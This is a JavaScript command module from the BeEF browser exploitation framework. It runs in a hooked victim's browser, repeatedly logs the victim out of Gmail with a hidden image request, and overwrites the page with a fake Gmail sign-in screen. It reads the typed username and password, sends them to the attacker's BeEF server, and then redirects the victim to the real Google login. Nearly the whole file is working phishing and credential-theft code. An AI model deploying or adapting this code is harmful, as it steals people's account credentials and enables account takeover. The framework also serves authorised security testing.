// // Copyright 2012 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // function logoutGoogle() { var img = document.createElement("IMG"); img.src = "https://mail.google.com/mail/?logout"; img.height = "1px"; img.width = "1px"; img.style.visibility = "hidden"; document.body.appendChild(img); //set a new setTimeout to redo the logout setTimeout('logoutGoogle()', <%= @logout_gmail_interval %>); } beef.execute(function() { document.title = "Google Mail: Email from Google"; beef.browser.changeFavicon("https://mail.google.com/favicon.ico"); logoutGoogle(); displayPhishingSite(); }); function clickedSubmitButton(){ var credentials = "Username: "+document.getElementById('Email').value+" Password: "+document.getElementById('Passwd').value; beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+credentials); //Timeout needed because otherwise the beef panel doesn't get the credentials in time setTimeout("redirect()", <%= @wait_seconds_before_redirect %>); } function redirect(){ var theXssUrl = "<%== @xss_hook_url %>"; if(theXssUrl){ window.open(theXssUrl); window.focus(); } window.location = "https://accounts.google.com/ServiceLoginAuth"; } function displayPhishingSite(){ document.body.innerHTML = " Google Mail: Email from Google

Google Mail

A Google approach to email.

Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Google Mail has:

  • Lots of space

    Over 2757.272164 megabytes (and counting) of free storage.

  • Less spam

    Keep unwanted messages out of your inbox.

  • Mobile access

    Get Google Mail on your mobile phone. Learn more

Take Google Mail to work with Google Apps for Business

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

"; }